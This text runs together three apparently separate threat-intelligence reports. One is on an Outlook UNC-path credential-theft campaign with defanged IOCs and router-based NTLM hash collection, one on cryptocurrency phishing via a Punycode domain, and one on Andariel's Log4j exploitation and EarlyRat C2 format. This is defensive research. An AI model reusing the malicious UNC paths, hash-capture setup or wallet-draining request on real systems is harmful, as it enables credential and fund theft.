UNC path \\213.32.252.221\fwd (reminder time set to 2020-03-17 02:30)
Sent by: 213.32.252.221 on 2022-11-03 11:07:23 UTC

Fwd..msg
VT First Submission 2022-11-04 09:27:32 UTC

Silence..msg
VT First Submission 2022-11-04 18:41:05 UTC

Silence..msg
VT First Submission 2022-11-08 20:41:31 UTC

Silence..msg
VT First Submission 2022-11-09 06:50:41 UTC
UNC path relate to 213.32.252.221 based on VT infos

• Target: Energy transportation critical infrastructure – UA

Fwd..msg VT First Submission 2022-12-01 09:37:36 UTC
UNC path \\69.162.253.21\pets (reminder time set to 2020-03-09 23:30)
Sent on 2022-12-01 06:18:15 UTC

Fwd..msg
VT First Submission 2022-12-01 12:19:18 UTC
UNC path \\185.132.17.160\aojv43 (reminder time set to 2021-04-21 11:30)
Sent on 2022-12-01 11:59:46 UTC

• Target: Energy production critical infrastructure – UA

Report.eml
VT First Submission 2022-12-14 08:47:25 UTC
UNC path \\69.51.2.106\report (reminder time set to 2021-05-19 00:30)
Sent by: 69.51.2.106 on 2022-12-14 07:05:18 UTC

• Target: Military supplier – TK

Ticaret.msg
VT First Submission 2022-12-29 13:00:43 UTC & VT First Submission 2023-03-16 13:05:21 UTC
UNC path \\113.160.234.229\istanbul (reminder time set to 2022-09-05 22:00)
Sent by: 113.160.234.229 on 2022-12-29 12:39:33 UTC

• Target: Government entity – UA

Unknown
VT First Submission 2023-03-21 10:47:06 UTC
UNC path \\85.195.206.7\lrmng
Sent by: 85.195.206.7 on 2023-03-15 16:07:48 UTC

• Target: Military interforce entity – TK

Alarms!.msg
VT First Submission 2023-03-16 13:02:30 UTC
UNC path \\85.195.206.7\lrmng (reminder time set to 2022-02-03 23:30)
Sent by: 85.195.206.7 on 2023-03-15 16:15:07 UTC

• Target: Space military supplier – IT

Power!
VT First Submission 2023-03-20 07:55:32 UTC
UNC path \\85.195.206.7\power (reminder time set to 2022-01-31 23:30)
Sent by: 77.238.121.148 on 2023-03-17 14:04:54 UTC

• Target: IT integrator – UA

Reminder!
VT First Submission 2023-03-22 12:20:44 UTC
UNC path \\61.14.68.33\rem (reminder time set to 2022-06-28 21:30)
Sent by: 77.238.121.148 on 2023-03-21 11:13:14 UTC

• Target: Government entity – SK

Reminder!.eml
VT First Submission 2023-03-29 06:51:54 UTC
UNC path \\61.14.68.33\rem (reminder time set to 2022-06-28 21:30)
Sent by: 77.238.121.148 on 2023-03-22 09:13:09 UTC

Reminder!.eml
VT First Submission 2023-03-27 08:59:44 UTC
UNC path \\61.14.68.33\rem (reminder time set to 2022-06-28 21:30)
Sent by: 77.238.121.148 on 2023-03-22 09:17:19 UTC

• Target: IT integrator – UA

CC.eml
VT First Submission 2023-03-29 13:51:50 UTC
UNC path \\42.98.5.225\ping (reminder time set to 2023-01-31 01:00)
Sent by: 42.98.5.225 on 2023-03-29 12:36:10 UTC

Initial attack IOCs

Threat-relevant IOCs are the embedded malicious UNC paths and IPs (not hashes of sample files, which are just an export in MSG/EML format of the malicious TASK exploiting the vulnerability and useless for threat detection/verification).

URLs (#16)

\\5.199.162[.]132\SCW
\\101.255.119[.]42\event\2431
\\101.255.119[.]42\mail\a5b3553d
\\181.209.99[.]204\information
\\213.32.252[.]221\silence
\\168.205.200[.]55\test
\\213.32.252[.]221\fwd
\\69.162.253[.]21\pets
\\185.132.17[.]160\aojv43
\\69.51.2[].106\report
\\113.160.234[.]229\istanbul
\\85.195.206[.]7\lrmng
\\24.142.165[.]2\req
\\85.195.206[.]7\power
\\61.14.68[.]33\rem
\\42.98.5[.]225\ping

IPs (#14)

5.199.162[.]132 (not in MS Guidance publication)
101.255.119[.]42
181.209.99[.]204
213.32.252[.]221
168.205.200[.]55
69.162.253[.]21
185.132.17[.]160
69.51.2[.]106 (not in MS Guidance publication)
113.160.234[.]229
85.195.206[.]7
24.142.165[.]2 (not in MS Guidance publication)
61.14.68[.]33
42.98.5[.]225 (not in MS Guidance publication)
82.196.113[.]102 (only in MS Guidance publication – on VT relating to hash 92df1d2125f88d0642e0d4919644376c09e1f1e0eaf48c31a6b389265e0d5576, but missing the sample and any additional information)

Threat verification

Any attempt to communicate to the IPs/URIs listed in the above IOCs and found in any logs should be considered suspicious and investigated further.

Alternatively, to determine if an organization has been targeted by attempts to exploit this vulnerability, Microsoft has provided documentation for a script that checks all Outlook objects (tasks, email messages and calendar items) to see if the specific property is populated with a UNC path. If objects are detected that point to an unrecognized share, they should be investigated further. Microsoft has provided detailed guidance on how to do this.

A note about attacker infrastructure

It’s easy to see that many of the IPs used by the attacker have/had similarities in terms of connected equipment.

IP Net exposed service history 5.199.162[.]132 No Info 101.255.119[.]42 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, SSH on port 2222 181.209.99[.]204 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks 213.32.252[.]221 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks 168.205.200[.]55 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, port UDP 10001 Ubiquiti Networks Device_Hostname: _Product: N5N_Version: XM.ar7240.v5.6.6.29183.160526.1225 @2022-06-16 69.162.253[.]21 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, port UDP 10001 185.132.17[.]160 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, SSH on port 2222 69.51.2[.]106 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, SSH on port 2222 113.160.234[.]229 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, SSH on port 2222 85.195.206[.]7 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks 24.142.165.2 No Info 61.14.68[.]33 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, SSH on port 2222 42.98.5[.]225 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, SSH on port 2222 82.196.113[.]102 HTTP redirect to HTTPS, HTTPS cert Subject: C=US, CN=UBNT Router UI, O=Ubiquiti Networks, SSH on port 2222

This is obviously not random, but a common point for the attacker.

One of the IPs used by the attacker exposes the WebUI of an internet access router:

Some researchers have argued that an attacker may have exploited a vulnerability in the firmware of these routers to compromise them and use them in the attack. This may be possible, but it may also be that the attacker simply found this router configured with weak/default credentials and exploited it.

Further investigation into the type of network equipment used by the attacker confirmed that it could be an optimal platform for the threat. For example, this router is typically used by ISPs on the customer side and its firmware provides a Command Line Interface (CLI) accessible directly through a WebUI. Use of the CLI from WebUI doesn’t leave any source IP information in the OS logs because the connection originates locally from 127.0.0.1; only traces of connections to the WebUI could be stored in the firewall logs.

The screenshot of the router’s CLI (obtained from the test equipment)

Moreover, the router’s operating system has native Python 2.7 and there’s already a well-known fake SMB server for collecting NTLM hashes implemented by the hacking tool named “Responder”, which is coded as a Python script. It is worth noting that running an open SMB server on the public internet will receive a lot of connections due to scanning attempts unrelated to the use of the attacker’s samples. Thus, we can assume that the attacker collected all the data from the fake SMB server and then post-processed it to exclude the scanning attempts, extracting only the threat-relevant data.

In any case, using routers connected to the public internet as a source of attack is a clever way to collect the threat targets’ data without relying on a host, and it includes an easy way to delete any logs/traces of the malicious activity. ISP routers might have more aspect of its OS architecture that allow cybercriminals to exploit it for malicious activity, such as publicly known default credentials or highly volatile logs that are not recording the source IP information and can be lost with a simple reboot. For example, for the router which is assumed to have been used in the attack the log folder is mounted on a volatile in-memory filesystem:

tmpfs /var/log tmpfs rw,nosuid,nodev,noexec,relatime,mode=755 0 0

Organizations safeguard against cyberthreats targeting ISP routers through regular firmware updates, strong authentication, network segmentation, firewall configuration, IDPS deployment, monitoring and logging, as well as network traffic analysis, security awareness training for employees and regular security assessments.

The higher the global popularity of cryptocurrencies and the more new ways of storing them, the wider the arsenal of tools used by malicious actors who are after digital money. Scammers tailor the complexity of technology they use and the thoroughness of their efforts to imitate legitimate websites to how well the target is protected and how large the amount is that they can steal if successful. This story covers two fundamentally different methods of email attacks on the two most popular ways of storing cryptocurrency: hot and cold wallets.

Hot wallets and attempts at hacking them

A hot wallet is a cryptocurrency wallet with permanent access to the internet. This is essentially any online service that provides cryptocurrency storage, ranging from crypto exchanges to specialized apps.

Hot wallets are a highly popular crypto storage option. This can be explained by the simplicity of creating one (registering with a wallet service is all you need to do) and the ease of withdrawing and converting funds. The popularity and simplicity of hot wallets makes them cybercriminals’ main target. However, for this reason, and due to the fact that hot wallets are always online, they are rarely used for storing large amounts. Hence, cybercriminals have little motivation to invest heavily into phishing campaigns, and so, techniques used in email attacks on hot wallets are hardly ever original or complex. In fact, they look rather primitive and target mostly unsophisticated users.

A typical phishing scam aimed at a hot wallet user works as follows: hackers send email messages addressed as coming from a well-known crypto exchange and requesting the user to confirm a transaction or verify their wallet again.

Sample phishing email that targets Coinbase users

After the user clicks the link, they are redirected to a page where they are asked to enter their seed phrase. A seed phrase (recovery phrase) is a sequence of 12 (less commonly 24) words for recovering access to a crypto wallet. This is essentially the main password for the wallet. The seed phrase can be used for gaining or recovering access to the user’s account and making any transactions. The seed phrase cannot be changed or recovered: by misplacing it, the user risks losing access to their wallet for good, and by giving it to scammers, permanently compromising their account.

Seed phrase entry page

If the user enters the seed phrase on a fake web page, scammers get full access to the wallet and the ability to siphon all of the funds to their own addresses.

Fairly simple and devoid of software or social engineering tricks, scams like these typically target non-technical users. A seed phrase entry form usually has a stripped-down look: just an input field and a crypto exchange logo.

Phishing scams that target cold wallets

A cold wallet (cold storage) is a wallet without a permanent connection to the internet, like a dedicated device or even just a private key written on a slip of paper. Hardware storage is the most common type of cold wallets. As these devices are offline most of the time, and remote access is impossible, users tend to store significantly larger amounts on these. That said, it would be erroneous to believe that a hardware wallet cannot be compromised without stealing it, or at least, getting physical access to it. As is the case with hot wallets, scammers use social engineering techniques to get to users’ funds. We spotted an email campaign recently that was specifically aimed at the owners of hardware cold wallets.

This type of attack starts as a crypto email campaign: the user gets an email, addressed as being from the Ripple cryptocurrency exchange and offering to join a giveaway of XRP tokens, the platform’s internal cryptocurrency.

Phishing letter pretending to be from the Ripple cryptocurrency exchange

If the user clicks the link, they are presented with a blog page featuring a post that explains the rules of the “giveaway”. The post contains a direct link to “registration”.

Fake Ripple blog

Already at this point, the scam shows a few differences from mass attacks on hot wallets: instead of sending the user a link to a phishing page, the scammers used a more sophisticated immersion trick with a blog post. They also went so far as meticulously copying the design of the Ripple website and registering a domain name that was nearly identical to the exchange’s official domain. This is called a Punycode phishing attack. At first glance, the second-level domain is identical to the original one, but a closer look will reveal that the letter “r” has been replaced with a Unicode character that uses a cedilla:

https://app[.]xn--ipple-4bb[.]net -> https://app[.]ŗipple[.]net/

Also, the scam site is hosted in the .net top-level domain, rather than .com, where the official Ripple website is located. This may not raise any red flags with the victim, though, as both domains are widely used by legitimate organizations.

After the user follows the link from the “blog” to the fake Ripple page, they are offered to connect to the WebSocket address wss://s2.ripple.com.

Connection to the WebSocket address

Next, the user is offered to enter the address of their XRP account.

Entering XRP account address

The website then offers to choose an authentication method for receiving the bonus tokens.

Choosing an authentication method

As you can see, hardware wallets are top of the list and suggested by scammers. Selecting Trezor redirects the user to the official website trezor.io, which allows to connect devices to web apps via Trezor Connect API. The API is used for simplifying transactions with the help of a hardware wallet. The scammers want the victim to connect to their website, so they can withdraw the funds from the victim’s account.

When the user attempts to connect to the third-party website, Trezor Connect asks them to consent to anonymous collection of data and to confirm that they want to connect to the website. The address of the scam site is displayed in a Punycode view as: https://app[.]xn--ipple-4bb[.]net. The scammer’s hope is that the user misses the address, which is provided in small print on the side of the page.

Trezor Connect: confirming the connection to the scam site

Connection via Ledger is a lot like Trezor, but it uses the WebHID interface, with the other steps unchanged.

What happens after the user connects their hardware wallet? We had to explore the code of the phishing site just a bit to answer that question. The website is powered by an application written in Node.js. This uses two APIs:

• wss://s2.ripple.com, the official WebSocket address for Ripple transactions
• The phishing site API, for example: app[.]xn--ipple-4bb[.]net/api/v1/action

The scammers use these two APIs for interacting with the victim’s XRP account. The phishing site API talks to the WebSocket address, verifies account details and requests funds. For this purpose, the scammers spin up one-off intermediate wallets.

Withdrawal request Response and description { "command": "get_payment" "account": victim_address, "transactionType": "Payment" } { "success": true, "data": { "TransactionType": "Payment", "Account": victim_address, "Fee": "10", "Sequence": 391, "Destination": "rU53pnJzEv2mrtck…"*, "Flags": 2147483648, "Amount": "xxx", "LastLedgerSequence": 79548458 } } * The scammers generate a new address every time

The intermediate account is used for just two things: to receive the victim’s funds and to forward these to the scammers’ permanent account. This helps to hide the final destination.

Statistics

In the spring of 2023, Kaspersky antispam solutions detected and blocked 85,362 scam emails targeting cryptocurrency users. Scam email campaigns peaked in March, with 34,644 messages. We blocked 19,902 emails in April and 30,816 in May.

Number of detected phishing emails targeting cryptocurrency users in March–May 2023 (download)

Conclusion

Scammers understand one thing just fine: the harder it is to get to the loot, the bigger it is likely to be. Therefore, attacks on hardware wallets, which many consider bullet-proof, use far more sophisticated tactics than those employed against the users of online crypto storage services. Although hardware wallets are indeed more secure than hot wallets, users should not lower their guard. Check every detail carefully before giving any website access to your wallet, and refuse to connect if anything smells fishy.

Introduction

Andariel, a part of the notorious Lazarus group, is known for its use of the DTrack malware and Maui ransomware in mid-2022. During the same period, Andariel also actively exploited the Log4j vulnerability as reported by Talos and Ahnlab. Their campaign introduced several new malware families, such as YamaBot and MagicRat, but also updated versions of NukeSped and, of course, DTrack.

While on an unrelated investigation recently, we stumbled upon this campaign and decided to dig a little bit deeper. We discovered a previously undocumented malware family and an addition to Andariel’s set of TTPs.

From initial infection to fat fingers

Andariel infects machines by executing a Log4j exploit, which, in turn, downloads further malware from the C2 server. Unfortunately, we were unable to catch the first piece of malware they downloaded, but we did see that exploitation was closely followed by the DTrack backdoor being downloaded.

From this point on, things got rather interesting, as we were able to reproduce the commands the attackers executed. It quickly became clear that the commands were run by a human operator, and judging by the amount of mistakes and typos, likely an inexperienced one. For example:

Note how “Program” is misspelled as “Prorgam” . Another funny moment was when the operators realized they were in a system that used the Portuguese locale. This took surprisingly long: they only learned after executing cmd.еxe /c net localgroup as you can see below:

We were also able to identify the set of off-the-shelf tools Andariel that installed and ran during the command execution phase, and then used for further exploitation of the target. Below are some examples:

• Supremo remote desktop;
• 3Proxy;
• Powerline;
• Putty;
• Dumpert;
• NTDSDumpEx;
• ForkDump;
• And more which can be found in our private report.

Meet EarlyRat

We first noticed a version of EarlyRat in one of the aforementioned Log4j cases and assumed it was downloaded via Log4j. However, when we started hunting for more samples, we found phishing documents that ultimately dropped EarlyRat. The phishing document itself is not that advanced as can be seen below:

Once macros are enabled, the following command is executed:

Oddly enough, the VBA code pings a server associated with the HolyGhost / Maui ransomware campaign.

EarlyRat, just like many other RATs (remote access Trojans), collects system information upon starting and sends it to the C2 using the following template:

As can be seen above, there are two different parameters in the request: “id” and “query”. Next to those, the “rep0” and “page” parameters are also supported. They are used in the following cases:

• id: unique ID of the machine used as a cryptographic key to decrypt value from “query”
• query: the actual content. It is Base64 encoded and rolling XORed with the key specified in the “id” field.
• rep0: the value of the current directory
• page: the value of the internal state

In terms of functionality, EarlyRat is very simple. It is capable of executing commands, and that is about the most interesting thing it can do. There is a number of high-level similarities between EarlyRat and MagicRat. Both are written using a framework: QT is used for MagicRat and PureBasic, for EarlyRat. Also, the functionality of both RATs is very limited.

Conclusion

Despite being an APT group, Lazarus is known for performing typical cybercrime tasks, such as deploying ransomware, which makes the cybercrime landscape more complicated. Moreover, the group uses a wide variety of custom tools, constantly updating existing and developing new malware.

Focusing on TTPs as we did with Andariel helps to minimize attribution time and detect attacks in their early stages. This information can also help in taking proactive countermeasures to prevent incidents from happening.

Intelligence reports can help you to stay protected against these threats. If you want to keep up to date on the latest TTPs used by criminals, or if you have questions about our private reports, reach out to us at crimewareintel@kaspersky.com.